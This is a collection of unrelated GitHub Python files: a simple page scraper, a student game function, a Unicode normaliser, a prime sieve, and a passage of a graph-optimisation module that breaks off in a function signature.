{"seq_id":"31355213651","text":"#!/D:/ProgramFiles/Python/Python35/python.exe\r\n#coding:utf-8\r\nimport urllib.request\r\nimport string\r\n\r\n# url = \"http://www.dianping.com/search/category/1/10/g113r801\"\r\n# url = \"http://cailianpress.com/\"\r\nurl = \"http://english.cri.cn/\"\r\nheaders = ('User-Agent','Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.11 (KHTML, like Gecko) Chrome/23.0.1271.64 Safari/537.11')\r\nopener = urllib.request.build_opener()\r\nopener.addheaders = [headers]\r\n\r\ndata = opener.open(url).read()\r\n\r\n\r\n\r\ntry:\r\n\tpage_file = open ('page.html', 'w')\r\n\tprint(data.decode('utf-8').encode('utf-8'), file = page_file)\r\n\t# page_file.write(data.decode('utf-8').encode('utf-8'))\r\nexcept IOError:\r\n\tprint (\"someting wrong\")\r\nfinally:\r\n\tif 'page_file' in locals(): #\r\n\t\tpage_file.close()\r\n\r\n# print (data)","repo_name":"tumao/spiders","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":765,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"3750288480","text":"from Type import effective as eff\nfrom commands import random_number\n\ndef kumpul(role: eff, bahan: list[list[str]]) -> list[list[str]]:\n    if role!=\"jin_pengumpul\":\n        print(\"Kamu tidak memiliki akses ke fitur ini!\")\n    else:\n        lootSand = (random_number(0,5))\n        lootRock = (random_number(0,5))\n        lootWater = (random_number(0,5))\n\n        print(f\"Jin menemukan {lootSand} pasir, {lootRock} batu, {lootWater} air.\")\n\n        bahan[0][2] = str(int(bahan[0][2]) + lootSand)\n        bahan[1][2] = str(int(bahan[1][2]) + lootRock)\n        bahan[2][2] = str(int(bahan[2][2]) + lootWater)\n","repo_name":"Kelompok5-IF1210/tubes_IF1210","sub_path":"function/F07.py","file_name":"F07.py","file_ext":"py","file_size_in_byte":606,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"31809608449","text":"import functools\nimport logging\nimport unicodedata\n\n\n\nclass Normaliser:\n\t\"\"\"\n\tNormalises strings and keeps track of those that (1) do not comply to\n\tUnicode's normal form; (2) have whitespace issues.\n\t\"\"\"\n\n\tdef __init__(self, nfc_chars=[]):\n\t\t\"\"\"\n\t\tConstructor. The optional arg specifies the set of chars that should\n\t\tnot be decomposed.\n\t\t\"\"\"\n\t\tself.log = logging.getLogger(__name__)\n\n\t\tself.norm_f = functools.partial(unicodedata.normalize, 'NFD')\n\n\t\tself.nfc_chars = set(nfc_chars)\n\n\t\tself.strip_errors = []\n\t\tself.norm_errors = []\n\n\n\tdef normalise(self, string, line_num):\n\t\t\"\"\"\n\t\tStrips the whitespace and applies Unicode normalisation to the given\n\t\tstring. The second arg is used as an ID of the string when reporting\n\t\tits lint errors (if such).\n\t\t\"\"\"\n\t\tstripped = string.strip()\n\t\tif stripped != string:\n\t\t\tself.strip_errors.append(line_num)\n\n\t\tnfc_pos = [index\n\t\t\t\t\tfor index, char in enumerate(stripped)\n\t\t\t\t\tif char in self.nfc_chars]\n\n\t\tparts = []\n\t\tstart_pos = 0\n\n\t\tfor pos in nfc_pos:\n\t\t\tif pos > 0:\n\t\t\t\tparts.append(self.norm_f(stripped[start_pos:pos]))\n\n\t\t\tparts.append(stripped[pos])\n\t\t\tstart_pos = pos + 1\n\n\t\tif start_pos < len(stripped):\n\t\t\tparts.append(self.norm_f(stripped[start_pos:]))\n\n\t\tnorm = ''.join(parts)\n\n\t\tif norm != stripped:\n\t\t\tself.norm_errors.append(line_num)\n\n\t\treturn norm\n\n\n\tdef report(self, reporter, ignore_nfd=False, ignore_ws=False):\n\t\t\"\"\"\n\t\tAdds the problems that have been found so far to the given Reporter\n\t\tinstance. The two keyword args can be used to restrict the error types\n\t\tto be reported.\n\t\t\"\"\"\n\t\tif self.strip_errors and not ignore_ws:\n\t\t\treporter.add(self.strip_errors, 'leading or trailing whitespace')\n\n\t\tif self.norm_errors and not ignore_nfd:\n\t\t\treporter.add(self.norm_errors, 'not in Unicode NFD')\n","repo_name":"pavelsof/ipalint","sub_path":"ipalint/strnorm.py","file_name":"strnorm.py","file_ext":"py","file_size_in_byte":1760,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"35"}
{"seq_id":"15613102312","text":"''' return prime numbers between 1 and n '''\n''' Reference : https://stackoverflow.com/questions/11619942/print-series-of-prime-numbers-in-python/39106237#39106237'''\n\ndef find_prime_num(num):\n    prime_num_list = []\n    sieve = [True] * (num + 1)\n    for i in range(2, num + 1):\n        if (sieve[i]):\n            prime_num_list.append(i)\n            for i in range(i, num + 1, i):\n                sieve[i] = False\n    return prime_num_list\n\ndef brute_force_find_prime_num(num):\n    prime_num_list = [];count=0\n\n    for num in range(2, num+1):\n        for den in range(2, num+1):\n            if num % den == 0:\n                count += 1\n        if count == 1:\n            prime_num_list.append(num)\n        count=0\n\n    return prime_num_list\n\nif __name__ == \"__main__\":\n    # print('prime numbers b/w 1 and {} are {}'.format(10, brute_force_find_prime_num(10)))\n    print('prime numbers b/w 1 and {} are {}'.format(10, find_prime_num(10)))","repo_name":"jbanerje/python_programming_practice","sub_path":"prime.py","file_name":"prime.py","file_ext":"py","file_size_in_byte":941,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"69919482022","text":"#!/usr/bin/env python\n\"\"\"Provides scikit interface.\"\"\"\n\nimport numpy as np\nimport scipy as sp\nimport random\n\nfrom ego.optimization.part_importance_estimator import PartImportanceEstimator\n\nfrom ego.optimization.neighborhood_graph_grammar import NeighborhoodAdaptiveGraphGrammar\nfrom ego.optimization.neighborhood_graph_grammar import NeighborhoodPartImportanceGraphGrammar\n\nfrom ego.optimization.neighborhood_edge_swap import NeighborhoodEdgeSwap\nfrom ego.optimization.neighborhood_edge_label_swap import NeighborhoodEdgeLabelSwap\nfrom ego.optimization.neighborhood_edge_label_mutation import NeighborhoodEdgeLabelMutation\nfrom ego.optimization.neighborhood_edge_move import NeighborhoodEdgeMove\nfrom ego.optimization.neighborhood_edge_remove import NeighborhoodEdgeRemove\nfrom ego.optimization.neighborhood_edge_add import NeighborhoodEdgeAdd\nfrom ego.optimization.neighborhood_edge_expand import NeighborhoodEdgeExpand\nfrom ego.optimization.neighborhood_edge_contract import NeighborhoodEdgeContract\n\nfrom ego.optimization.neighborhood_node_label_swap import NeighborhoodNodeLabelSwap\nfrom ego.optimization.neighborhood_node_label_mutation import NeighborhoodNodeLabelMutation\nfrom ego.optimization.neighborhood_node_remove import NeighborhoodNodeRemove\nfrom ego.optimization.neighborhood_node_add import NeighborhoodNodeAdd\nfrom ego.optimization.neighborhood_node_smooth import NeighborhoodNodeSmooth\n\nfrom ego.optimization.neighborhood_edge_crossover import NeighborhoodEdgeCrossover\nfrom ego.optimization.neighborhood_cycle_crossover import NeighborhoodCycleCrossover\nfrom ego.optimization.neighborhood_double_edge_crossover import NeighborhoodDoubleEdgeCrossover\nfrom ego.optimization.neighborhood_break_crossover import NeighborhoodBreakCrossover\n\nfrom ego.optimization.score_estimator import GraphUpperConfidenceBoundEstimator\nfrom ego.optimization.score_estimator import GraphRandomForestScoreEstimator\nfrom ego.optimization.score_estimator import GraphLinearScoreEstimator\nfrom ego.optimization.score_estimator import GraphExpectedImprovementEstimator\nfrom ego.optimization.score_estimator import GraphNeuralNetworkScoreEstimator\nfrom ego.optimization.score_estimator import GraphNearestNeighborScoreEstimator\nfrom ego.optimization.score_estimator import EnsembleScoreEstimator\n\nfrom ego.optimization.feasibility_estimator import FeasibilityEstimator\nfrom ego.decomposition.paired_neighborhoods import decompose_neighborhood\nfrom ego.vectorize import hash_graph\nfrom ego.utils.parallel_utils import simple_parallel_map\n# from ego.optimization.score_estimator import GraphLinearClassifier\nimport time\nfrom toolz import curry\nimport logging\n\nlogger = logging.getLogger()\n\n\ndef remove_duplicates(graphs):\n    \"\"\"remove_duplicates.\"\"\"\n    df = decompose_neighborhood(radius=2)\n    selected_graphs_dict = {hash_graph(\n        g, decomposition_funcs=df): g for g in graphs}\n    return list(selected_graphs_dict.values())\n\n\ndef remove_duplicates_in_set(graphs_to_filter, graph_archive):\n    \"\"\"remove_duplicates_in_set.\"\"\"\n    df = decompose_neighborhood(radius=2)\n    val_set = set([hash_graph(g, decomposition_funcs=df)\n                   for g in graph_archive])\n    selected_graphs = [g for g in graphs_to_filter if hash_graph(\n        g, decomposition_funcs=df) not in val_set]\n    return selected_graphs\n\n\ndef biased_sample(graphs, scores, sample_size):\n    \"\"\"biased_sample.\"\"\"\n    p = np.array(scores)\n    p = np.nan_to_num(p)\n    p[p < 0] = 0\n    # if there are non zero probabilities\n    # replace negative or zero probabilities with smallest positive prob\n    if len(p[p > 0]) > 1:\n        min_p = np.min(p[p > 0])\n        p[p == 0] = min_p\n        p = p / p.sum()\n        sample_ids = np.random.choice(\n            len(graphs), size=sample_size, replace=False, p=p)\n    # otherwise sample uniformly at random\n    else:\n        sample_ids = np.random.choice(\n            len(graphs), size=sample_size, replace=False)\n    sample_graphs = [graphs[sample_id] for sample_id in sample_ids]\n    sample_scores = [scores[sample_id] for sample_id in sample_ids]\n    return sample_graphs, sample_scores\n\n\ndef tournament_sample(graphs, scores, sample_size):\n    n = len(graphs)\n    ids = list(range(n))\n    random.shuffle(ids)\n    policy_selected_graphs = []\n    policy_selected_scores = []\n    for i in range(0, n - 1, 2):\n        if scores[ids[i]] > scores[ids[i + 1]]:\n            policy_selected_graphs.append(graphs[ids[i]])\n            policy_selected_scores.append(scores[ids[i]])\n        else:\n            policy_selected_graphs.append(graphs[ids[i + 1]])\n            policy_selected_scores.append(scores[ids[i + 1]])\n    policy_selected_graphs, policy_selected_scores = policy_selected_graphs[:sample_size], policy_selected_scores[:sample_size]\n    return policy_selected_graphs, policy_selected_scores\n\n\ndef sample(graphs, scores, sample_size, greedy_frac=0.5, policy='tournament'):\n    \"\"\"sample.\"\"\"\n    assert len(graphs) > 0, 'Something went wrong: no graphs left to sample' \n    if sample_size > len(scores):\n        sample_size = len(scores)\n\n    # select with greedy strategy\n    greedy_selected_graphs = []\n    greedy_selected_scores = []\n    n_greedy_selection = int(sample_size * greedy_frac)\n    sorted_ids = np.argsort(-np.array(scores))\n    greedy_selected_ids = sorted_ids[:n_greedy_selection]\n    if len(greedy_selected_ids) > 0:\n        greedy_selected_graphs = [graphs[greedy_selected_id]\n                                  for greedy_selected_id in greedy_selected_ids]\n        greedy_selected_scores = [scores[greedy_selected_id]\n                                  for greedy_selected_id in greedy_selected_ids]\n    # select the rest with a specific policy: either biased or random\n    policy_selected_graphs = []\n    policy_selected_scores = []\n    unselected_ids = sorted_ids[n_greedy_selection:]\n    if len(unselected_ids) > 0:\n        unselected_graphs = [graphs[unselected_id]\n                             for unselected_id in unselected_ids]\n        unselected_scores = [scores[unselected_id]\n                             for unselected_id in unselected_ids]\n        size = sample_size - len(greedy_selected_graphs)\n        if policy == 'tournament':\n            policy_selected_graphs, policy_selected_scores = tournament_sample(\n                unselected_graphs, unselected_scores, size)\n        elif policy == 'biased':\n            policy_selected_graphs, policy_selected_scores = biased_sample(\n                unselected_graphs, unselected_scores, size)\n\n    selected_graphs = greedy_selected_graphs + policy_selected_graphs\n    selected_scores = greedy_selected_scores + policy_selected_scores\n    return selected_graphs, selected_scores\n\n\n@curry\ndef _perturb(g, neighborhood_estimator=None, part_importance_estimator=None, feasibility_estimator=None):\n    neighbor_graphs = []\n    neighborhood_estimator.part_importance_estimator = part_importance_estimator\n    neighbors = neighborhood_estimator.neighbors(g)\n    if feasibility_estimator is None:\n        feasibility_scores = [True] * len(neighbors)\n    else:\n        feasibility_scores = feasibility_estimator.predict(neighbors)\n    for neighbor, is_feasible in zip(neighbors, feasibility_scores):\n        if is_feasible:\n            neighbor.graph['parent'] = g.copy()\n            # TODO if the score is the same, then evaluate if they are the same, if so then use 'identity' as type\n            neighbor.graph['type'] = type(neighborhood_estimator).__name__\n            neighbor_graphs.append(neighbor)\n    return neighbor_graphs\n\n\ndef perturb(graphs, neighborhood_estimator, part_importance_estimator=None, feasibility_estimator=None, execute_concurrently=False):\n    \"\"\"perturb.\"\"\"\n    # generate a fixed num of neighbors for each graph in input\n    _perturb_ = _perturb(neighborhood_estimator=neighborhood_estimator, part_importance_estimator=part_importance_estimator, feasibility_estimator=feasibility_estimator)\n    if execute_concurrently:\n        neighbors_list = simple_parallel_map(_perturb_, graphs)\n    else:\n        neighbors_list = [_perturb_(g) for g in graphs]\n    neighbor_graphs = []\n    for neighbors in neighbors_list:\n        neighbor_graphs.extend(neighbors)\n    return neighbor_graphs\n\n\ndef mutate(proposed_graphs, graphs, part_importance_estimator=None, feasibility_estimator=None):\n    \"\"\"mutate.\"\"\"\n    mutated_proposed_graphs = []\n    mutated_proposed_graphs += perturb(\n        proposed_graphs,\n        NeighborhoodNodeLabelMutation(n_nodes=None).fit(graphs),\n        part_importance_estimator,\n        feasibility_estimator)\n    mutated_proposed_graphs += perturb(\n        proposed_graphs,\n        NeighborhoodEdgeLabelMutation(n_edges=None).fit(graphs),\n        part_importance_estimator,\n        feasibility_estimator)\n    mutated_proposed_graphs += perturb(\n        proposed_graphs,\n        NeighborhoodEdgeSwap(n_edges=None).fit(graphs),\n        part_importance_estimator,\n        feasibility_estimator)\n    return mutated_proposed_graphs\n\n\ndef elitism(proposed_graphs, oracle_func, frac_instances_to_remove_per_iter):\n    \"\"\"elitism.\"\"\"\n    scores = [oracle_func(g) for g in proposed_graphs]\n    ids = np.argsort(scores)\n    n = int(frac_instances_to_remove_per_iter * len(scores))\n    ids = ids[n:]\n    surviving_graphs = [proposed_graphs[id] for id in ids]\n    surviving_scores = [scores[id] for id in ids]\n    for graph, score in zip(surviving_graphs, surviving_scores):\n        graph.graph['oracle_score'] = score\n    return surviving_graphs, surviving_scores\n\n\n@curry\ndef materialize_iterated_neighborhood(\n        id_estimator,\n        neighborhood_estimators=None,\n        next_proposed_graphs=None,\n        graphs=None,\n        part_importance_estimator=None,\n        feasibility_estimator=None,\n        score_estimator=None,\n        step=None,\n        n_steps_driven_by_estimator=None,\n        sample_size_to_perturb=None,\n        n_queries_to_oracle_per_iter=None,\n        parallelization_strategy=None,\n        greedy_frac=0.5):\n    \"\"\"materialize_iterated_neighborhood.\"\"\"\n    if parallelization_strategy == 'graph_wise':\n        execute_concurrently = True\n    else:\n        execute_concurrently = False\n    neighborhood_estimator = neighborhood_estimators[id_estimator]\n    start_time = time.process_time()\n    all_neighbor_graphs = perturb(\n        next_proposed_graphs,\n        neighborhood_estimator,\n        part_importance_estimator,\n        feasibility_estimator,\n        execute_concurrently)\n    next_proposed_graphs, num_estimator_queries = [], 0\n    neighbor_graphs = remove_duplicates(all_neighbor_graphs)\n    if len(neighbor_graphs) == 0:\n        logger.debug('Warning: removing duplicates among results resulted in no graphs')\n        return next_proposed_graphs, num_estimator_queries\n    neighbor_graphs = remove_duplicates_in_set(neighbor_graphs, graphs)\n    if len(neighbor_graphs) == 0:\n        logger.debug('Warning: removing duplicates w.r.t. archived graphs resulted in no graphs')\n        return next_proposed_graphs, num_estimator_queries\n    predicted_scores = score_estimator.acquisition_score(neighbor_graphs)\n    num_estimator_queries = len(predicted_scores)\n    # sample neighborhood according to surrogate score\n    if step < n_steps_driven_by_estimator - 1:\n        sample_size = int(sample_size_to_perturb / len(neighborhood_estimators))\n    else:\n        sample_size = int(n_queries_to_oracle_per_iter / len(neighborhood_estimators))\n    sample_size = max(2, sample_size)\n    next_proposed_graphs, next_proposed_scores = sample(\n        neighbor_graphs,\n        predicted_scores,\n        sample_size,\n        greedy_frac=greedy_frac)\n    if len(next_proposed_graphs) == 0:\n        logger.debug('Warning: sampling graphs resulted in no graphs')\n        return next_proposed_graphs, num_estimator_queries\n    \n    end_time = time.process_time()\n    elapsed_time = (end_time - start_time) / 60.0\n    if n_steps_driven_by_estimator == 1:\n        step_str = ''\n    else:\n        step_str = '%d:' % (step + 1)\n    logger.info('%s%2d/%d) %30s:%4d novel graphs out of %4d generated  %3d selected graphs   best predicted score:%.3f   time:%.1f min' % (\n        step_str, id_estimator + 1, len(neighborhood_estimators),\n        type(neighborhood_estimator).__name__.replace('Neighborhood', ''),\n        len(neighbor_graphs), len(all_neighbor_graphs),\n        len(next_proposed_graphs), max(next_proposed_scores),\n        elapsed_time))\n    return next_proposed_graphs, num_estimator_queries\n\n\ndef select_iterated_neighborhoods(\n        proposed_graphs,\n        neighborhood_fitting_graphs,\n        neighborhood_fitting_scores,\n        graphs,\n        neighborhood_estimators,\n        part_importance_estimator,\n        feasibility_estimator,\n        score_estimator,\n        n_steps_driven_by_estimator,\n        sample_size_to_perturb,\n        n_queries_to_oracle_per_iter,\n        parallelization_strategy,\n        greedy_frac):\n    \"\"\"select_iterated_neighborhoods.\"\"\"\n    all_n_estimator_queries = 0\n    if parallelization_strategy == 'neighborhood_wise':\n        execute_concurrently = True\n    else:\n        execute_concurrently = False\n    for n_estimator, neighborhood_estimator in enumerate(neighborhood_estimators):\n        neighborhood_estimator.fit(neighborhood_fitting_graphs, neighborhood_fitting_scores)\n    for step in range(n_steps_driven_by_estimator):\n        all_proposed_graphs = []\n        _materialize_iterated_neighborhood_ = materialize_iterated_neighborhood(\n            neighborhood_estimators=neighborhood_estimators,\n            next_proposed_graphs=proposed_graphs[:],\n            graphs=graphs,\n            part_importance_estimator=part_importance_estimator,\n            feasibility_estimator=feasibility_estimator,\n            score_estimator=score_estimator,\n            step=step,\n            n_steps_driven_by_estimator=n_steps_driven_by_estimator,\n            sample_size_to_perturb=sample_size_to_perturb,\n            n_queries_to_oracle_per_iter=n_queries_to_oracle_per_iter)\n        if execute_concurrently:\n            list_of_graphs = simple_parallel_map(_materialize_iterated_neighborhood_, range(len(neighborhood_estimators)))\n        else:\n            list_of_graphs = [_materialize_iterated_neighborhood_(i) for i in range(len(neighborhood_estimators))]\n        for gs, n_estimator_queries in list_of_graphs:\n            all_proposed_graphs += gs\n            all_n_estimator_queries += n_estimator_queries\n        # for n_estimator, neighborhood_estimator in enumerate(neighborhood_estimators):\n        #    next_proposed_graphs = _materialize_iterated_neighborhood_(n_estimator)\n        #    all_proposed_graphs += next_proposed_graphs\n        proposed_graphs = remove_duplicates(all_proposed_graphs)\n        proposed_graphs = remove_duplicates_in_set(proposed_graphs, graphs)\n        proposed_predicted_scores = score_estimator.acquisition_score(proposed_graphs)\n        if step < n_steps_driven_by_estimator - 1:\n            sample_size = sample_size_to_perturb\n        else:\n            sample_size = n_queries_to_oracle_per_iter\n        proposed_graphs, proposed_predicted_scores = sample(\n            proposed_graphs,\n            proposed_predicted_scores,\n            sample_size,\n            greedy_frac)\n\n    if n_queries_to_oracle_per_iter < len(proposed_graphs):\n        logger.info('sampling %d out of %d non redundant graphs out of %d graphs generated for oracle evaluation' % (\n            n_queries_to_oracle_per_iter, len(proposed_graphs), len(all_proposed_graphs)))\n        proposed_graphs, proposed_predicted_scores = sample(\n            proposed_graphs,\n            proposed_predicted_scores,\n            n_queries_to_oracle_per_iter,\n            greedy_frac)\n    # at this point we have proposed_graphs, proposed_scores:\n    # for each graph we have the 'parent' and the 'type' and the score\n    # we can formulate a learning task where starting from the parent graph\n    # we have to predict in multiclass the type that has max score in any of the offsprings\n    # so we have to collect all predictions relative to the same (hashed) parent graph\n    # and select the argmax as the class to predict\n    # the prediction can be used to allocate resources: expand only the k types that are\n    # predicted to be yielding the best future improvements with k depending on the budget\n    # the type predictor will be passed to the 'perturb' function and will mute the generation\n    # for types predicted to under perform\n    # NOTE: code should allow empty neighbor_graphs\n    # Note: allow for no prediction at all when all types need to be generated\n\n    return proposed_graphs, proposed_predicted_scores, all_n_estimator_queries\n\n\ndef compute_prediction_correlation(predicted_scores, true_scores):\n    val, p = sp.stats.spearmanr(predicted_scores, true_scores)\n    if np.isnan(val):\n        val = 0\n    return val\n\n\ndef optimize(graphs,\n             oracle_func=None,\n             n_iter=100,\n             n_queries_to_oracle_per_iter=100,\n             frac_instances_to_remove_per_iter=.1,\n             sample_size_to_perturb=8,\n             neighborhood_estimators=None,\n             score_estimator=None,\n             part_importance_estimator=None,\n             feasibility_estimator=None,\n             threshold_score_to_terminate=.99,\n             monitor=None,\n             draw_graphs=None,\n             parallelization_strategy='graph_wise',\n             greedy_sample_vs_tournament_frac=0.5,\n             patience=3,\n             n_steps_driven_by_estimator_base=3,\n             add_mutations_when_asking_oracle=True):\n    \"\"\"optimize.\"\"\"\n    assert oracle_func is not None, 'An oracle function must be made available'\n    n_steps_driven_by_estimator = n_steps_driven_by_estimator_base\n    original_n_queries_to_oracle_per_iter = n_queries_to_oracle_per_iter\n    exploration_vs_exploitation = score_estimator.exploration_vs_exploitation\n    oracle_start_time = time.process_time()\n    true_scores = [oracle_func(graph)\n                   if graph.graph.get('oracle_score', None) is None\n                   else graph.graph['oracle_score']\n                   for graph in graphs]\n    for graph, score in zip(graphs, true_scores):\n        graph.graph['oracle_score'] = score\n    oracle_end_time = time.process_time()\n    oracle_elapsed_time = (oracle_end_time - oracle_start_time) / 60.0\n    logger.info('Oracle evaluated on %d graphs in %.1f min' % (len(graphs), oracle_elapsed_time))\n\n    proposed_graphs = []\n    proposed_true_scores = []\n    proposed_predicted_scores = []\n    corr_true_vs_pred_scores_history = []\n    max_score_history = []\n    corr_true_vs_pred_scores_delta = 0\n    corr_true_vs_pred_scores = 0\n    max_score_delta = 0\n    curr_patience = patience\n    for i in range(n_iter):\n        logger.info('\\n\\n- iteration: %d/%d' % (i + 1, n_iter))\n\n        # update with oracle\n        num_proposed_graphs = len(proposed_graphs)\n        if num_proposed_graphs:\n            oracle_start_time = time.process_time()\n            proposed_graphs, proposed_true_scores = elitism(\n                proposed_graphs, oracle_func, frac_instances_to_remove_per_iter)\n            graphs += proposed_graphs[:]\n            true_scores += proposed_true_scores[:]\n            weights, errors = score_estimator.estimate_weights(proposed_graphs, proposed_true_scores)\n            estimator_names = [type(estimator).__name__.replace('Graph', '').replace('Score', '').replace('Estimator', '') for estimator in score_estimator.estimators]\n            for es, er, we in zip(estimator_names, errors, weights):\n                print('est: %30s:   err: %.1e   w:%.3f' % (es, er, we))\n            selected_proposed_predicted_scores = score_estimator.predict(proposed_graphs)\n            if len(proposed_true_scores) == len(selected_proposed_predicted_scores):\n                corr_true_vs_pred_scores = compute_prediction_correlation(proposed_true_scores, selected_proposed_predicted_scores)\n            else:\n                # start case\n                corr_true_vs_pred_scores = 0\n            corr_true_vs_pred_scores_history.append(corr_true_vs_pred_scores)\n            if len(corr_true_vs_pred_scores_history) > 1:\n                corr_true_vs_pred_scores_delta = (corr_true_vs_pred_scores_history[-1] - corr_true_vs_pred_scores_history[-2])\n            else:\n                corr_true_vs_pred_scores_delta = 0\n            oracle_end_time = time.process_time()\n            oracle_elapsed_time = (oracle_end_time - oracle_start_time) / 60.0\n            logger.info('Oracle evaluated on %d graphs in %.1f min' % (num_proposed_graphs, oracle_elapsed_time))\n            logger.info('Correlation between %d predicted and true scores: %.3f (increased of %.3f from previous iteration)' %\n                        (len(proposed_true_scores), corr_true_vs_pred_scores, corr_true_vs_pred_scores_delta))\n        # policy for n_steps_driven_by_estimator\n        if corr_true_vs_pred_scores_delta > 0:\n            n_steps_driven_by_estimator_factor = 1\n        else:\n            n_steps_driven_by_estimator_factor = -1\n        n_steps_driven_by_estimator += n_steps_driven_by_estimator_factor\n        n_steps_driven_by_estimator = int(n_steps_driven_by_estimator)\n        if corr_true_vs_pred_scores < 0.5:\n            n_steps_driven_by_estimator = n_steps_driven_by_estimator_base\n        n_steps_driven_by_estimator = max(n_steps_driven_by_estimator_base, n_steps_driven_by_estimator)\n        n_steps_driven_by_estimator = min(10, n_steps_driven_by_estimator)\n        logger.info('n_steps_driven_by_estimator: %d' % (n_steps_driven_by_estimator))\n        # termination condition\n        if proposed_true_scores:\n            max_iteration_score = max(proposed_true_scores)\n        else:\n            max_iteration_score = 0\n        max_score = max(true_scores)\n        max_score_history.append(max_score)\n        if max_score >= threshold_score_to_terminate:\n            logger.info('Termination! score:%.3f is above user defined threshold:%.3f' % (max_score, threshold_score_to_terminate))\n            break\n        else:\n            logger.info('Max score in last iteration: %.3f    Global max score: %.3f' % (max_iteration_score, max_score))\n            if draw_graphs is not None:\n                if proposed_graphs:\n                    logger.info('Current iteration')\n                    draw_graphs(proposed_graphs)\n                logger.info('Current status')\n                draw_graphs(graphs)\n        # policy for n_queries_to_oracle_per_iter and exploration_vs_exploitation\n        if len(max_score_history) > 1:\n            max_score_delta = max_score_history[-1] - max_score_history[-2]\n            if max_score_delta <= 0 and curr_patience > 0:\n                curr_patience -= 1\n                logger.info('Lack of improvement detected  [patience:%d]'%curr_patience)\n            elif max_score_delta <= 0 and curr_patience <= 0:\n                curr_patience = patience\n                logger.info('Lack of improvement detected  [patience:%d]  INCREASING exploration_vs_exploitation_factor AND INCREASING n_queries_to_oracle_per_iter'%curr_patience)\n                n_queries_to_oracle_per_iter_increment_factor = 1.2\n                exploration_vs_exploitation_factor = 10\n            else:\n                curr_patience = patience\n                n_queries_to_oracle_per_iter_increment_factor = 0.08\n                exploration_vs_exploitation_factor = 0.1\n        else:\n            max_score_delta = 0\n            n_queries_to_oracle_per_iter_increment_factor = 1\n            exploration_vs_exploitation_factor = 1\n        exploration_vs_exploitation *= exploration_vs_exploitation_factor\n        exploration_vs_exploitation = min(1, exploration_vs_exploitation)\n        exploration_vs_exploitation = max(1e-4, exploration_vs_exploitation)\n        score_estimator.set_exploration_vs_exploitation(exploration_vs_exploitation)\n        logger.info('exploration_vs_exploitation:%.2e' % exploration_vs_exploitation)\n        n_queries_to_oracle_per_iter *= n_queries_to_oracle_per_iter_increment_factor\n        n_queries_to_oracle_per_iter = int(n_queries_to_oracle_per_iter)\n        n_queries_to_oracle_per_iter = max(original_n_queries_to_oracle_per_iter, n_queries_to_oracle_per_iter)\n        n_queries_to_oracle_per_iter = min(original_n_queries_to_oracle_per_iter * 20, n_queries_to_oracle_per_iter)\n        logger.info('n_queries_to_oracle_per_iter:%d' % n_queries_to_oracle_per_iter)\n\n        # update score_estimator\n        score_estimator_start_time = time.process_time()\n        score_estimator.fit(graphs, true_scores)\n        score_estimator_end_time = time.process_time()\n        score_estimator_elapsed_time = (score_estimator_end_time - score_estimator_start_time) / 60.0\n        logger.info('Score estimator fitted on %d graphs in %.1f min' % (len(graphs), score_estimator_elapsed_time))\n\n        # update part_importance_estimator\n        part_importance_estimator_start_time = time.process_time()\n        part_importance_estimator.fit(graphs, true_scores)\n        part_importance_estimator_end_time = time.process_time()\n        part_importance_estimator_elapsed_time = (part_importance_estimator_end_time - part_importance_estimator_start_time) / 60.0\n        logger.info('Part importance  estimator fitted on %d graphs in %.1f min' % (len(graphs), part_importance_estimator_elapsed_time))\n\n        # select small number (sample_size_to_perturb) of promising graphs for neighborhood expansion\n        proposed_graphs, proposed_true_scores = sample(\n            graphs,\n            true_scores,\n            sample_size_to_perturb,\n            greedy_sample_vs_tournament_frac)\n\n        # materialize neighborhood and select best candidates using score estimator\n        iter_start_time = time.process_time()\n        logger.info('From a biased draw of %d samples from %d graphs...' % (sample_size_to_perturb, len(graphs)))\n        proposed_graphs, proposed_predicted_scores, all_n_estimator_queries = select_iterated_neighborhoods(\n            proposed_graphs,\n            graphs,\n            true_scores,\n            graphs,\n            neighborhood_estimators,\n            part_importance_estimator,\n            feasibility_estimator,\n            score_estimator,\n            n_steps_driven_by_estimator,\n            sample_size_to_perturb,\n            n_queries_to_oracle_per_iter,\n            parallelization_strategy,\n            greedy_sample_vs_tournament_frac)\n        \n        if add_mutations_when_asking_oracle is True:\n            mutated_proposed_graphs = mutate(proposed_graphs, graphs, part_importance_estimator, feasibility_estimator)\n            logger.info('Added %d mutations to original %d proposed graphs'%(len(mutated_proposed_graphs),len(proposed_graphs)))\n            proposed_graphs += mutated_proposed_graphs\n\n        if monitor:\n            monitor(i, proposed_graphs, graphs, score_estimator, all_n_estimator_queries, part_importance_estimator=part_importance_estimator)\n        if len(proposed_graphs) == 0:\n            break\n        iter_end_time = time.process_time()\n        iter_elapsed_time_m = (iter_end_time - iter_start_time) / 60.0\n        iter_elapsed_time_h = iter_elapsed_time_m / 60.0\n        logger.info('overall iteration time: %.1f min (%.1f h)' % (iter_elapsed_time_m, iter_elapsed_time_h))\n\n    # final update with oracle\n    num_proposed_graphs = len(proposed_graphs)\n    if num_proposed_graphs:\n        oracle_start_time = time.process_time()\n        proposed_graphs, proposed_true_scores = elitism(\n            proposed_graphs, oracle_func, frac_instances_to_remove_per_iter)\n        max_iteration_score = max(proposed_true_scores)\n        graphs += proposed_graphs[:]\n        true_scores += proposed_true_scores[:]\n        max_score = max(true_scores)\n        oracle_end_time = time.process_time()\n        oracle_elapsed_time = (oracle_end_time - oracle_start_time) / 60.0\n        logger.info('Oracle evaluated on %d graphs in %.1f min' % (num_proposed_graphs, oracle_elapsed_time))\n        logger.info('Max score in last iteration: %.3f' % (max_iteration_score))\n        logger.info('Max score globally: %.3f' % (max_score))\n        if draw_graphs is not None:\n            if proposed_graphs:\n                logger.info('Current iteration')\n                draw_graphs(proposed_graphs)\n            logger.info('Current status')\n            draw_graphs(graphs)\n    return graphs\n\n\ndef optimizer_setup(use_RandomForest_estimator=False,\n                    use_Linear_estimator=False,\n                    use_EI_estimator=False,\n                    use_UCB_estimator=False,\n                    use_KNN_stimator=False,\n                    use_ANN_estimator=False,\n                    ANN_estimator_hidden_layer_sizes=[100, 50],\n                    n_estimators_ANN=10,\n                    n_neighbors_KNN=5,\n                    n_estimators=100,\n                    exploration_vs_exploitation=0,\n                    decomposition_score_estimator=None,\n                    